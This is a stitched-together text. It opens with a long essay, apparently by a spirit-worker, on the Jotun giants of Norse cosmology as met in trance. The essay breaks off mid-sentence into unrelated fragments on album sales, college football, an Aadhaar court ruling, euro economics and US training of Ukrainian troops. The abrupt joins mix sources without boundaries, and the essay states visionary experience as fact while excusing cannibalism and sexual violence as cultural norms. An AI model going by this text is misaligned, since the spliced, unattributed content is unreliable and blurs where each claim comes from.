When I was formally and officially claimed by Hel - which meant that She told me who she was, after years of my serving her namelessly, and had me put her mark on me - She then began to send me around to learn from various folk. Some were gods, some were dead people. None of them were human. Of the gods, many were the deities of the Jotunfolk, traditionally referred to as the Jotnir, but modernly referred to by many who work with or are sworn to them as the Rokkr, or Shadow-gods. Most of them were related in some way to Hel, so she was just having me make the rounds of her family.
The dead folk that I was sent to work with were dead Jotunfolk, who apparently go to Helheim just as many human souls do, or they are recycled back into their worlds. Since then, I've also visited Jotunfolk in their own worlds - Jotunheim, Muspellheim, and Niflheim - and had interactions that were various levels of peaceful. For most people, this might not be the case, especially those who go dealing with Jotunkind without understanding their cultural rules.
In a way, I find that although the Jotun are beneficial to work with, particularly in this day and age, it is much, much more delicate to work with them in some ways. By this, I do not mean that they are delicate as entities, but that they must be approached with total awareness of the entire relationship. I find that they are a bit touchy, and caution must be used. This is important, and perhaps this is something that can be seen as one way in which some folk don't work well with them. Jotnar don't like to be ignored, they don't like being overlooked once you've started to work with them and they take an invested interest in you, and they claim a lot more responsibility on my part than any Aesir has. What do I mean by this? I have to do the work. I have to work with them, I have to do what they say, I have to keep active to keep them present. They also don't allow much laziness in my work, either. Another way they demand responsibility is they seem (at least for me) to require a lot more patience and awareness and politeness to the rest of the world- human, animal, plant, you name it. --Lyn, spirit-worker
The Jotunfolk, taken as an entire race, are more numerous in the Nine Worlds than any other type of being. Of the Nine Worlds, three of them - Jotunheim, Muspellheim, and Niflheim - are entirely ruled and populated by them. A fourth world, Helheim, admits the Dead of many races, but is ruled by Hela, a Jotun goddess. They are a power to be reckoned with.
There is a certain school of thought which sees the Jotnar as the Gods/spirits that were revered in northern Europe before the coming of the people who brought the Aesir and Vanir; possibly the pre-Indo-European folk. We know little about them; the tiny scraps we do know about come from the existence of their words in our language (they have left us the base for such words as wife, child, house, and slave, so we know that there was a good deal of intermingling), and what archaeological evidence we are able to turn up. We know that they had a Mesolithic-to-Neolithic culture, but not much more than that. (Some of the folk that I interviewed had independently had sudden inspiration upon seeing the museum exhibit or the book or TV show about Otzi the Iceman, and strongly felt that he was an example of this pre-Indo-European shamanic culture, and that it was known and taught by the Jotnar, under various names.) As can be seen by the Titans in ancient Greece, and the Fir Bolg of the Ireland, the old gods of the conquered people become the demons of the conqueror's gods. This theory has been put forth by Liljenroth, although I am still anxiously awaiting a good English translation of his work.
There's no question in my mind that it was the Jotnar who first befriended the people of northern Europe, before the Aesir or even the Vanir got around to dealing with them. Back when agriculture was spotty, when we were hunters and gatherers and herders who were just settling into villages and doing some planting - or not yet, even - that was when we learned from Them. Their involvement with us goes back that far, and they remember it, all right, even if we as a culture have forgotten. Their cultures are much more shamanic, one might say, and so are their practices...and so were ours, in those days. -Ari, spirit-worker and spamadhr
But back to real and not theoretical life. In the past few years, rumors have come around about Norse/Germanic religionist people (besides myself and my friends) who work with, or are called by, the Jotunfolk....often to the dismay of the general Asatru populace, who tend to see most of the Jotnar as enemies by definition. However, as this phenomenon is growing, Norse/Germanic religionists as a whole need to come to terms with it.
The most important thing to keep in mind, and the one thing that we who work with the Jotnar would most like readers to come away with, is to understand that this is not a dualistic faith like Zoroastrianism, or Christianity. The Aesir are no angels, and the Jotnar are not demons of Satan. It's not that simple, or that black and white. To fully understand and live this faith is to get beyond dualistic good and evil. Whatever else it may be, the faith of my ancestors was based on keen observation of the nature of this world and the Otherworlds, and nothing in nature - in any world - is good or evil. While there may be tension between opposing forces, to rank one side as "good" and the other side as "evil" is a holdover from an idea that sprang from Zoroastrianism to Manichaeanism and finally into Christianity, and that world view is not reflective of the way our world (or any of the Nine Worlds) works.
We dare not forget the effect that Christianization had on the only surviving heathen lore, and that its first effect was the forcing of this dualistic world view onto the people. From their perspective, the Jotunfolk were especially easy to demonize, even more so than the Aesir or Vanir. Regardless of what our ancestors came to believe, the denizens of the Otherworlds don't see things that way. Individuals are judged, not entire races of beings. Thor may kill one giantess and have an affair with another one. Skadi aligns herself with the Aesir; Sigyn with the Rokkr. In real life - and for those of us who are tranceworkers or spirit-workers, the Nine Worlds are very real and not just archetypes or myths - things aren't black and white.
The three pantheons (and their assorted minor spirits) of the Norse/Germanic peoples are engaged in a complicated dance. They war with each other, yet they marry each other. They denounce each other and befriend each other. They battle over some territories and respect each other's claim on others. They act, in other words, like neighboring tribes. Sometimes they act like the Sharks and the Jets, or the Crips and the Bloods, or the Hatfields and McCoys, but those are actually rare compared to the general peaceful coexistence. Those of us who work with them, and are followers of the deities of the three different pantheons, must remember this...and must not attempt to project the tales of those oversimplified battles and alliances onto each other.
II. The Ethnocentrism Dance
The Jotnar have some habits, as a species, that we humans find difficult to deal with, and we tend to demonize them for these things. It's hard to get beyond our own cultural imprinting and appreciate that these people are members of a different species from us. Some of their cultural practices - cannibalism, duels, sexual violence - may upset or horrify us if we see them through human eyes. What we need to remember is that they are not human, and cannot be held to human morality. They have their own moral code(s), which work for them; their nature is different and could not be best served by human rules. It is the ultimate in ethnocentricity to assume that we can judge them by our standards.
What I have seen is that the Jotnar are all different. They have distinct personalities, motives, and preferences. They are individuals, not some mindless screeching horde. They are not stupid; many of them are cunning and intelligent. Some are hostile to everyone but their own, some are benignly inclined toward others but not inclined to care much, and a few are actively interested in outsiders. Some will give their word and stick to it no matter what, while others are simply not to be trusted under any circumstances. Some are wise and fair, others cruel and vengeful, but most are somewhere in between. I don't believe they can all be painted (or tarred) with the same brush. In short, they remind me a lot of human beings in many respects. However, I think the etins should be accorded caution, circumspection and respect, no matter whether you're well- or ill-disposed toward them personally (if nothing else, they can be viewed as worthy enemies by those so inclined). No one has to like or admire them, but they shouldn't be dismissed as insignificant. After all, I doubt Thor would've made it his business to fight them if they were all just a bunch of sniveling weaklings. -Elizabeth, tranceworker
What the Jotunfolk are like varies widely - frost giants are not fire giants are not Jotunheim mountain-etins are not Iron Wood Clan etins. But they all have certain racial traits in common:
1) A wild, primal temper, and the ability to berserk easily. Some have excellent self-control, some don't. Their various cultures have boundaries for this racial tendency, which include strong rules around what is and is not an acceptable reason for challenging or killing someone.
2) Strong passions in general - high emotions, harsh violent lusts, wild ecstatic joys, loud crude humor, overkill vengeance. Their one mark is their intensity. They live life at high volume and deadly seriousness. There is no such thing as a boring repressed Jotun, or a flighty noncommittal Jotun. (Loki can pass as that last one, but he's faking it when he does it.) Even with the ones who have the mask of polite courtesy and iron self-control (like Utgard-Loki and Mordgud and Gerda and Skadi), you can sense that roiling volcano underneath.
3) Strong clan and tribal loyalties. Jotunfolk all live in tribal societies and generally feel a stronger kinship to their blood family than to whoever they might marry. One example of this is Gerda's insistence that Frey give up his magic sword as a bridal-gift to her family; besides the fact that an expensive bridal-gift shows the value of the bride, she also increased her family's power in this way.
4) Powers that are strongly linked to nature and the elements - wind, water, fire, snow, rock, trees, animals. Some curious researchers have asked me what the difference is between a Jotun and an elemental spirit. Although it's a tricky concept to tease apart, I have tried to make sense of the clear difference between them.
It's difficult for us as ordinary human beings, caught up in the bias of our own existence, to understand what it is to be fire, or ice, or some other natural phenomenon... difficult, but not impossible! Shamanic-types the world over have studied "becoming one with the natural world" as a way to gain knowledge and power. One of the things that Hela is having me do, as part of my shamanic training, is to "master" the elements. This does not mean being able to wave my oh-so-wizardly hands and call up storms and lightning. On the contrary; this means being familiar with them, understanding them inside and out, having had the experience of being as close to them as it's possible for a human to get. You meld with them and understand the essence of them. Working with Jotun nature is very helpful for this.
To explain the difference between a wight/elemental and a Jotun, I could use an example from the Finnish Kalevala, where the sorcery is all about learning the "true name" of something - like cold, or heat, or the sun, or fire, or whatever. The "true name" isn't a magic word, it's a magic feeling, a way of being, an intimate knowledge of that element. When you've made that intimate connection, something of it is in you, and you can work with it far easier than someone who's standing back and working with it from a safe distance.
To be in the presence of the elemental Jotuns is to see this up-close and in action. Take a fire-etin, for example. It is not that he is just fire, otherwise he'd just be, well, a fire like any other fire. It is not that he knows the true name of fire. It is that he embodies the true name of fire. It is not that he embodies the spirit of fire, it's that he embodies the true name of fire, that experience of being one with fire yet being oneself as well, separate. The fire that knows itself, in essence. An elemental has a much more limited understanding of itself as a conscious being. An etin is fully as conscious and complicated as a human (and perhaps more so), while having the experience of being a part of nature as an integrated part of themselves.
5) Jotunkind have an almost casual familiarity with shapeshifting. All of them can do it to one extent or another, all that I've spoken to about it have been doing it since birth, and the really adept ones whip their physical forms around like we change clothes. They consider it a cultural art form. Most of the time, you'll see them in their "force of nature" form, which means that you might walk right by one and not notice them. They have perfectly usable humanoid forms as well. In general, though, Jotnar vary wildly in size and shape, not just between subraces but between individuals in the same family. As an extremely physically homogenous race, we are often made uncomfortable by the multitudinous differentiation among Jotunfolk.
6) Their cultures vary, but all seem to be more bloodthirsty, more intense, more primal than humans. They have codes of honor, but those codes are much harsher - they have to be, or they'd all kill each other. (One seidhr-worker commented, "To use a terrible pop culture reference, they are much more like Klingons than humans.") Certain things are acceptable in their culture that are not so in ours - one example is cannibalism, which they do for both funerary and vengeance reasons. Just as I wonder if many Pagans who have visions of some utopian dark-age agricultural past are actually unconsciously tapping into Vanaheim, I wonder if some folk who have visions of the fantasy "barbarian" tribes are actually tapping into Jotunheim.
7) Jotnar are fighters, all of them. The natural forces that they are most in tune with are the most powerful of Nature's forces - the hurricane, the brush fire, the earthquake, the storm at sea. (While we, from our perspective, tend to assume that these are entirely negative and even evil, that's coming at it from our perspective. Nature would disagree. She might even say that these moments are when She is at Her most awesome, even if they are inconvenient for us.) They fight for territory, for tribal justice, and for sport. Some will even humor us and fight for sport with us. One tranceworker commented, "I've dealt with several of them in varying capacities. Several times, being the martial individual that I am I've challenged them to 'test my mettle.' This seemed to greatly amuse them. I have won and I have lost. I can honestly say that I've walked away from all of them on my own two feet. I think this is why it was so easy to "test my mettle" against them. They saw it as entertaining that the little human wanted to tussle."
They will also fight for dominance, to see where people are in the "pack order". This is especially true for the more animal-oriented Jotunfolk. On my first visit to the Iron Wood, I was surrounded by werefolk, and one of them jumped me. I shapeshifted to a fighting form and knocked him down, and he retreated. It was just a challenge, to see how I should be treated. Often, it seems, passing human tranceworkers will be challenged, either for this reason or because they are trespassing on someone else's territory and are being legitimately warned off. Instead of realizing what is happening, they may think that this is a life-or-death battle, and that this strange beast is challenging them out of nowhere for no reason except to eat them. They lash out instead of thinking, and things get worse from there.
8) Jotun sex is wild, rough, and violent, but not sexist; in general, male and female Jotunfolk tend to be equal in size and ferocity, with no sexual dimorphism. The idea of females submitting to or being overpowered by males is ridiculous to them. Jotun female nature is not any more frithful than Jotun male nature. They are much less prone to any sort of rigid gender role than any other race in the Nine Worlds, including humans. Ordinary sexual activity among the Jotunkind is as passionate as anything else that they do, and as violent, and is often accompanied by a great deal of wild shapeshifting during the act. The one time where there are active/passive partners is during Jotun sex magic, and strangely enough, it is the passive partner who is considered the primary magician, with the active partner as their assistant.
The marriage customs of Jotunfolk vary from place to place, but there are strong differences between their generally accepted customs and those of, for example, the Aesir. There is no taboo against nonheterosexual relations in any Jotun tribe that I have found; although heterosexuals tend to have a somewhat higher status in tribes where childbearing and siring is important, there is no penalty for engaging in any sort of relationship that does not cause trouble in the tribe. This is especially true in the Iron Wood where there are a high percentage of hermaphroditic or gender-ambiguous births. Many humans who work with Jotun find it surprising that even the largest and most "macho" male Jotun warrior, if he isn't interested in ever doing it with another large macho male warrior, probably has a friend who has done just that, and is likely just fine with the general concept even if it isn't his own preference.
Monogamy as a standard is very rare; one may take as many spouses as one can A) afford financially, and B) keep from fighting with each other. Multiple spouses don't generally live together unless they are related, such as a pair of sisters or brothers, which means that those with two or more spouses also have two or more households and need to wander between them. The much-whispered-about difficulties between Angrboda and Sigyn, Loki's two wives, have nothing to do with objections to polygamy, but more from Angrboda's resentment of his taking an Aesir wife instead of sticking to his own clan. (Angrboda herself offered her younger sister Glut to Loki as a gift, perhaps hoping that he would marry her as well and thus be doubly bound to her clan, but Loki abandoned Glut after one night, leaving her pregnant with twin daughters.)
Jotun marriage ceremonies will vary from formal religious ritual to simply stating one's intentions in front of the tribe, but what they all share is some form of blood-sharing. If there is no blood publicly exchanged between the two people in question, the wedding is not legitimate as far as the Jotnar are concerned. Even a finger-prick is essential, although generally both partners give their hands for a blade-cut that will make a scar. These scars are shown off in the same way as wedding rings might be to a human; if there is a breakup, both partners might disfigure the scar with many vertical lines across it. Sharing blood seems to be less about drama and gore, and more about kinship relations between tribes; it's how you make your partner ritually into part of your family by placing some of your family's blood into their body.
Whether of not a married couple will live together might also vary. The idea that partners ought to live forever under the same roof and spend every night in the same bed is foreign to Jotunkind; they might prefer to live with their own tribes or families, and simply get together in one place or the other for part or most of the time. Some might live with one spouse and visit another. Some permanent wanderers might have no home at all save that of their spouse, but be on the road much of the time. When you do find a couple living together long-term, it may be because they have small children to raise and are isolated from their tribes.
III. Jotun Ethnicities
Survival In The Ice-Storm: Frost-Thurses
The frost-thurses (or "rime-thurses", Old Norse hrimthursar) of Niflheim are the oldest and most feared of all etinkind; by that I mean that they are feared by nearly everything that isn't a deity, and by some of them as well. They are certainly feared by other Jotunfolk, some tribes of whom ban them from parts of the other two worlds (not that they could survive long in Muspellheim, anyway). They are the largest etins; their humanoid form is something like twelve to fifteen feet tall, and their other forms - generally pillars of whirling snow - are even huger. They can easily be seen in the distance of Niflheim, which gives travellers time to avoid them, but they move exceptionally fast in their snow-forms, so if you are in Niflheim and see one, go in the other direction as fast as possible. Hiding in caves and crevices too small for them to enter has been useful for some people.
The frost-thurses can be very problematic. Perhaps I should just change that to automatic-problem. They are the least friendly of giants, but they also will ignore you first, until you present a problem. They can smell intent pretty damned fast. They also don't take kindly to humans in their physical form, so be aware of that when you enter. If you find that you are more of a fire-blood type, then they may find you difficult in other ways. For me, I am frost-etin-blooded, so I don't find their basic disposition all that bad, but perhaps that is because I am a lot like them. I don't like people when I meet them for the first time, I hate going out to where people are unless I need something, and noise can set me off like nothing else. Actually, if you can think about an avalanche as an entity, you'll see what I mean here. An avalanche zone can be seen or not, but if you so much as make too loud a noise, step in the wrong spot, or don't take heed, it will come crashing down on you. As for offerings, they seem to like milk, tea (green tea and white tea especially), and work. Hard work. People often forget that the Norns are frost-thurse. --Lyn, spirit-worker
There is no reasoning with a frost-thurse if they decide that you don't belong in their territory, and often at that point, you become food as far as they are concerned. Their environment is harsh and cold, varying from frozen snowfields to tundra, so this attitude may have been honed by the general lack of food in the vicinity. It has also been theorized that their nature is the most "purely" Jotun, and that the more self-controlled and civilized etins are later, "tamer" variations, at least in comparison.
Frost-thurse blood gives a certain amount of coldness to the disposition. As Lyn notes, the Norns are supposedly of frost-thurse lineage, and they need to be cold-blooded to do what they do. Compassion for its own sake isn't something that Jotunfolk in general are strong on, but this goes even less for frost-thurses. On the other hand, no one can teach you about weather as well as they can, and they are excellent teachers for learning outdoor survival as well.
In terms of offerings, they are very fond of cake and bread (and other food items that they don't normally get), but they don't like caraway seed. It may be that they are allergic to it.
The non-Niflheim-dwelling descendants of frost-giants are the storm-giants, who may live anywhere in the Nine Worlds. Thjazi is one example, as are Thrym and Kari. There is a good deal of blurring as to what is a frost-thurse and what is a storm-giant or wind-giant; it seems that even the Jotnar themselves don't draw those lines tightly, except that the permanent denizens of Niflheim are always referred to as frost-giants; those who migrated out or were born elsewhere may have any combination of names and powers.
Dancing On The Lava Beaches: Fire-Etins
The fire-etins of Muspellheim are slightly more civilized and easier to talk to. When I say "slightly", I mean that they build buildings out of (black volcanic) stone rather than simply hewing rough caves in mountainsides, they do some relatively complex handcrafting, and they might actually ask your business and wait for an unsatisfactory reply before eating you.
Fire giants are also much more social than frost-giants, if they like you. They dance wildly, laugh loudly - even while fighting - and fight as wildly as a raging fire. Their fire-forms can be pillars of flame, or shooting balls of sparks, or coal-glowing human shapes. In humanoid form, they are taller than most humans and often grimed with black ash, which burns off them as soon as they shapeshift. To see them clean, wait until just after they shift back to human. They generally wear little clothing when at home in Muspellheim; if anything, they wear loincloths made from fire-retardant lizard hide. They will put on Jotun clothing when leaving home.
The leader of the fire giants is Surt the Black, the oldest Jotnar still living. Surt is a lover of music and dancing, as is his mate Sinmora. One of the odd things about them is that you will almost never see them together, and when you (rarely) do, only one of them will speak to you. It is rumored that they are actually the same person, in different forms, |
start off strong, the album has caught a major wave since its release, netting gold status on July 21 for sales over 500,000 copies.
On the song side of things, Halestorm's "I Get Off" single from their 2009 self-titled album went gold on July 12 and A Day to Remember's Homesick cut "It it Means a Lot to You" single was certified platinum on July 21.
One of the highest selling artists of the new millennium is Nickelback, who achieved the rare diamond certification for their All the Right Reasons album. When the band dropped by the Loudwire studio, Loudwire Nights host Toni Gonzalez spoke to them about what having a diamond album means as well as the shift in the music industry after the collapse of album sales. Guitarist Ryan Peake cautioned, “When you see a lot of these new songwriters coming out, honestly, there’s not a lot of incentive unless you’re in a band and playing live. If you get in the music business to make money, it’s a terrible idea. Do it because you want to do it.”
20 Best Selling Hard Rock + Metal Albums in the U.S.As October sneaks up on us, it's time to dream a little.
In a little over a month, the College Football Playoff Selection Committee will release its first set of rankings. That's where the dreaming comes in.
If the playoff started today -- per this week's Power Rankings -- two Big Ten teams would not only be in but would play each other.
Ohio State-Wisconsin would be a regular-season rematch. Louisville vs. Alabama would be the other semifinal. Tell me you wouldn't hit the secondary market for tickets to those games.
Lamar Jackson vs. Alabama's defense. Urban Meyer vs. Wisconsin with a chance to meet Nick Saban again.
This late-September fantasy was made possible by the Badgers moving up five spots after a fairly shocking win at Michigan State.
Other fast risers in this week's Power Rankings were No. 14 Baylor (up nine spots), No. 17 Washington and No. 18 Utah (both up seven), and No. 16 Ole Miss (up five).
A tip of the headset to No. 25 Western Michigan for checking in with the MAC's first appearance this season.The Bombay HC refused relief to a Mumbai resident who insisted on not getting an Aadhaar card for himself and his son for college admissions.
The court first suggested the petitioner, an Andheri resident, gets enrolled for Aadhaar and in the meanwhile, it would ask his son’s college to keep a seat vacant. But the petitioner refused, citing a 2015 Supreme Court order that said Aadhaar is a voluntary decision.
The SC order had said authorities cannot deny benefits to a citizen only because he does not have an Aadhaar card.
The HC bench of justice BR Gavai and justice Riyaz Chagla, however, said the petitioner was being adamant merely for the sake of argument. “We fail to understand the instance of not obtaining the Aadhaar card. It appears the petitioner is adamant and wants to take a stand only for the purpose of adamancy. We are therefore not inclined to grant interim relief,” the bench said.
The man, in his plea filed through senior counsel Mihir Desai and advocate Swaraj Jadhav, said his 17-year-old son completed Class 11 from St Xaviers College. But although he had secured the requisite marks and met all other requirements for readmission to Class 12, the college refused it as he and his parents could not give them their Aadhaar details.
READ: Those without Aadhaar won’t be deprived of social benefits till next hearing: SC
When the petitioner cited the SC order to the college authorities, they pointed to an April 2015 Maharashtra government resolution making Aadhaar mandatory for college admissions. But the petitioner said while the state resolution directed educational institutes to conduct Aadhaar registration drives for students, it did not make Aadhaar a binding requirement for admission or readmission.
The petitioner argued that the college’s decision to make Aadhaar mandatory went against the SC order.
The petitioner argued that his son, “who otherwise was meritorious and eligible,” was being refused an “opportunity of being educated”.
He said the college authorities were breaching his son’s “fundamental right to lead his life with respect and dignity”. With no relief from the HC, the petitioner is likely to challenge the decision in the SC.
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First Published: Jul 02, 2017 01:00:30It seems unlikely that anyone will ever write a rap musical about the foundation of the European Union, but until “Hamilton” it seemed unlikely that anyone would write one about the fiscal infrastructure of the nascent United States. If anyone does try to bust some rhymes about the creation of the E.U., he could find a protagonist in Jean Monnet, a Frenchman who had one of those extraordinary twentieth-century lives, not as an artist or a warrior or a leader or a mystic but as that less celebrated but equally distinctive human type the fixer. Monnet, who was born in 1888, spent his whole life in behind-the-scenes advocacy and deal-making, mainly in the sphere of international coöperation. Just after the First World War, he was appointed deputy secretary-general of the League of Nations, at the age of thirty-one. In 1923, he became an international banker; in 1933, he moved to Shanghai, at the invitation of the Chinese finance ministry, and helped fund the expansion of China’s railroads; in 1939, he moved to London to work on melding the French and English war industries; in 1940, he moved to the United States, on behalf of the British government, and added President Roosevelt to a list of friends and acquaintances that already included Winston Churchill, Charles de Gaulle, Walter Lippmann, John Foster Dulles, and Chiang Kai-shek. In Washington, Monnet worked on the Victory Program, a joint development of arms production, to such effect that, in the opinion of John Maynard Keynes, he “shortened the war by a whole year.” All this was a preamble to Monnet’s greatest achievement. In retrospect, it is easy to see Europe’s recovery from the Second World War as inevitable. It didn’t seem so at the time, when Europe was broken, poor, riven by social divisions, and mired in severe problems left over from the war and the simultaneous onset of the Cold War. Europe as a whole needed the German economy to recover, but everyone, especially the French, feared a recrudescence of German power. This was not an abstract issue: Germany required coal and steel, and France didn’t want it to have them. The resource heartlands in question were, as Monnet put it, “distributed unevenly but in complementary fashion over a triangular area artificially divided by historical frontiers.” Wars had been fought over these resources for centuries. Monnet’s idea was simple: the countries should share. If France and Germany pooled the production of coal and steel, two things would happen: the level of production would go up, because economies of scale would bring efficiency; and, more important, it would be impossible for the two countries to go to war. Neither country could get a jump on the other if their essential industries were inseparably interlinked. The resulting institution, the European Coal and Steel Community, was the first of the entities that coalesced into what is today the European Union. That would not have surprised Monnet: his draft coal-and-steel treaty was summed up in the prophecy, or the wish, that “this proposal will lay the first concrete foundations of the European Federation which is indispensable for the maintenance of peace.” In his memoirs, he wrote, “The last word was the most important.” The treaty would insure that Europe, a charnel house for the first half of the twentieth century, would in the second half become a place of guaranteed peace. Origin stories tend to be complicated, and the European Union’s is no exception. Monnet was a pragmatist, as fixers must be, but he also had a visionary streak. He thought that Europe’s destiny was for its nations to grow closer together—that was his visionary side—but he didn’t think they would do so in a simple, linear manner. “I have always believed that Europe would be built through crises, and that it would be the sum of their solutions,” he said. “But the solutions had to be proposed and applied.” The inevitable crises would be opportunities to make countries grow closer together, to give up gradually larger pieces of their sovereignty and move toward a federal Europe. This was a clever strategy, and very much the plan of a realist, but it left two huge questions unanswered. The first was: Why? Anyone could see the necessity of avoiding another European war, but it’s not obvious why that automatically involves a federal Europe. Even the most incurious tourist who visits, say, Bulgaria and Finland will have noticed that the countries don’t just have different languages, they have different alphabets. Stay a little longer, and you might notice that they also have different cultures, religions, climates, histories, educational and legal and political systems, economies, food cultures, and national temperaments. Why is it a law of history that they must grow closer together? To insiders such as Monnet, this seems to have been a question that never needed answering, or even asking. It was a European version of Manifest Destiny. The second question was linked to the first: Who wanted a united Europe? Who were the people who saw this process as both inevitable and something to be schemed and strived for? The answer was the pan-European political élite of people like Jean Monnet and his peers. There has never been a popular appetite for the idea of Europe: it was always an élite project. Monnet hadn’t ever stood for political office. “Ever closer union,” the phrase in the foundational document of the E.U., the 1957 Treaty of Rome, is just stated as a goal, without any explanation either of what it means or of why it would be a good thing for most Europeans. It was an end in itself.
For about four decades, the flaws implicit in the project didn’t seem important. Europe grew through institutions and agreements that, in the medium term, were immediately and practically beneficial to ordinary citizens. The result was a boom in trade, years of fairly consistent economic growth across the continent, and an unbeautiful but functional patchwork of arrangements in which some countries belonged in the European Free Trade Association but not in the E.U. (Switzerland, Norway, Iceland, Liechtenstein), some countries were in the E.U. but not in the Schengen zone of passport-free borders (the U.K., Ireland), some countries were in the Schengen zone but not in the E.U. (Switzerland, Norway, Iceland), and one country wasn’t in the E.U. (Greenland) but was part of a state that is (Denmark). There was a pan-European but non-E.U. court, the European Court of Human Rights, whose rulings often caused mortification among rebuked governments. This might not have looked like anyone’s model of a union, but peace and prosperity have a lot to be said for them, especially for a continent that had done such a thorough job of testing the alternatives. In 1992, the European Union made what the Nobel Prize-winning economist Joseph Stiglitz calls “a fatal decision”: the choice “to adopt a single currency, without providing for the institutions that would make it work.” In “The Euro: How a Common Currency Threatens the Future of Europe” (Norton), Stiglitz lucidly and forcefully argues that this was an economic experiment of unprecedented magnitude: “No one had ever tried a monetary union on such a scale, among so many countries that were so disparate.” The idea was to force Europe closer together politically by forcing it closer together monetarily—in effect, to engineer one of Monnet’s crises, the ones that would build Europe. The nineteen countries in the eurozone (out of twenty-eight in the E.U.) would adopt a single currency but would not have a parallel system to raise tax. There would be monetary union without fiscal union. A European Central Bank (E.C.B.) would run the currency and set interest rates, but there would be no pan-European finance ministry to run the economy. If you pitched this idea to a class in Economics 101, there would be an embarrassed pause, and eventually a hand would go up and someone would ask, “Is that even possible?” The answer: “Nobody knows.” The E.U. went ahead with its experiment anyway. To raise the stakes even further, there was no exit mechanism for the single currency: monetary union was, by design, irreversible. The euro was adopted as a currency peg by the relevant countries in 1999, and came into use as an actual physical currency on New Year’s Day, 2002. Ta-da! Europe now had a common currency for the first time since the end of the Roman Empire. (Some of the local celebrations were muted. I happened to be in Paris that day, and much of the chat was about the various bodies that had taken the chance of sneaking in a price rise as francs were swapped for euros.) For the first few years, the eurozone went well, with decent growth and inflation almost exactly at the E.C.B.’s target rate of two per cent. The positive numbers, though, concealed growing structural tensions. Because Germany is Europe’s dominant economic power, the interest rate set by the E.C.B. tended to be the one that makes the most sense in a German context. In these years, that was a low interest rate, which helped keep money cheap and the value of the euro low. This helped Germany’s heavily export-oriented economy. The interest rate that made sense in the Ruhr Valley, however, made much less sense in countries that were starting to see bubbles. In Ireland and Spain and other countries on Europe’s so-called periphery, people were borrowing money like crazy to get on the runaway train of real-estate prices. These countries’ economies looked great on paper—Spain and Ireland were running budget surpluses and had low levels of accumulated government debt. There were growing risks, though. If those countries had control of their own interest rates, the rates could have been raised to slow down the boom, but the countries had, in that crucial respect, given away economic sovereignty. (Governments that do have this control, let the record show, often don’t use it when bubbles are inflating. The economic feel-good factor wins a lot of elections, and central banks pay more attention to their political masters than they pretend.) [cartoon id="a20352"] When Lehman Brothers collapsed, in September, 2008, and the global financial crisis hit, it was, to borrow a phrase of Hunter S. Thompson’s, “a case of the chickens coming home to roost, accompanied by three giant condors.” All Western economies went into recession, but the eurozone countries suffered the most and for the longest. Americans may have got out of the habit of talking about their economy as a success story, but from a European perspective it unmistakably is one. As Stiglitz points out, the U.S. unemployment rate hit ten per cent for a single month in 2009 and is now below five per cent; the eurozone unemployment rate hit ten per cent around the same time, and is still in double digits. In some European countries, youth unemployment is more than forty per cent. America’s economy is bigger than it was when the crisis hit. The eurozone’s is smaller. To take just one example, Italy, the third-largest economy in the eurozone, has a per-capita G.D.P. that’s lower than it was at the end of the last century. For Stiglitz and for many of his colleagues, the euro is to blame for all this underperformance.
In Europe, the first thing that happened after the crisis was that all the bubbles popped. The “peripheral” countries suffered dramatic economic contractions, compounded by bank implosions, and had to appeal for financial assistance to avert complete collapse. At this point, as Stiglitz explains, the story took an even darker turn. A complex mixture of international politics, economics, and law meant that the body that stepped in to help the crisis economies was a triple-headed entity, the Troika, made up of the European Commission, the European Central Bank, and the International Monetary Fund. The Troika had strong views about how the afflicted economies should be fixed. They rolled into town demanding austerity, meaning severe cuts to government spending, and structural reform, meaning changes to the way a country’s economy works. They doled out money on the condition that these policies were implemented, and accompanied the package with charts showing how the economy was going to recover after the austerity medicine took effect. It is, if you have a twisted sense of humor, just possible to see the funny side of these charts, especially the ones concerning Greece. They now show a cluster of lines going briefly down and then up, with another line a long way below, which goes sharply down, then down a bit more, then goes flat. The optimistic cluster represents the sequence of Troika predictions for the effect of austerity programs on the Greek economy, forecasting recession and recovery. The lower line represents what actually happened—the most severe decline of any developed economy since the Great Depression. Similar stories can be told of the other eurozone countries that received bailout-and-austerity packages. The numbers are grim, and the human realities are worse—joblessness, hopelessness, forced emigration, spikes in the suicide rate. Stiglitz points out that these kinds of austerity policies—trying to cut your way out of a slump—have been tried many times since the days of Herbert Hoover, and have consistently failed. “One possibility—a real one—is that the architects of austerity truly believed in the economic doctrines that they espoused, in spite of the overwhelming evidence against them accumulated over more than three-quarters of a century,” he writes, in numb wonder. Well, yeah, it sure looks like it, and if we turn to “The Euro and the Battle of Ideas” (Princeton), by Markus K. Brunnermeier, Harold James, and Jean-Pierre Landau, we start to find an explanation. The three authors are, respectively, a German academic economist, an English economic historian, and a French banker turned economics professor, and their book is an attempt to explain the euro’s ideological and historic background. They explore the dichotomy between French and German political-economic philosophies. The first values flexibility and solidarity and state intervention; the second stresses rules and consequences and free markets. They note that France and Germany have in effect swapped sides in this debate. In the nineteenth and early twentieth centuries, the French had a strong tradition of economic liberalism, and the newly unified Germany believed in state-centered, state-directed economic policies. These biases were reversed by the disasters of Nazism and the Second World War. France’s wartime failure discredited its élites and their laissez-faire inclinations, and led to a heavy new emphasis on state planning, whereas Germany became obsessed with the idea of a rules-based liberalism. The product, known as Ordoliberalism, involves a mixture of free-market economics with an attitude toward rules that approaches mystic reverence.The U.S. military will soon begin training Ukrainian military forces, according to the top Democrat on the Senate Armed Services Committee.
Sen. Jack Reed John (Jack) Francis ReedPapering over climate change impacts is indefensible Why Democrats are pushing for a new nuclear policy GOP chairman: US military may have to intervene in Venezuela if Russia does MORE (D-R.I.), who recently visited Ukraine, said forces from the U.S. Army's 173rd Airborne Brigade are training Ukraine's National Guard forces at a training base in western Ukraine and will soon begin training Ukraine's regular military.
"The transition was underway to train defense units, regular military units," he told a small group of reporters on Wednesday. "The National Guard finishes training within a week or two and then it'll be their formal military's that's being trained."
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Army Lt. Gen. Ben Hodges, the Army's top commander in Europe, told reporters in mid-July that U.S. officials were considering expanding training from the Ukrainian National Guard, which is under the Ministry of Interior, to include regular Ukrainian army and special operations forces, which is under the Ministry of Defense.
A week later, the State Department said the training would go forward, but then-Army Chief of Staff Gen. Ray Odierno told reporters in mid-August that there was a plan, but "we have not yet made a decision on whether we will move forward with that."
The move is seen as an expansion in U.S. military aid to Ukrainian forces, who faced an invasion by Russian troops into Ukraine and the annexation of Crimea in March 2014. Since then, they have battled with Russian-backed separatists in eastern Ukraine.
Reed said most of the National Guardsmen had come out of the east and had extensive experience fighting the separatists.
The Obama administration has provided the outmatched-Ukrainian forces with more than $200 million in non-lethal military assistance and joined European allies in sanctioning Moscow but has been reluctant to fulfill requests for lethal aid out of concern it would provoke further Russian aggression.
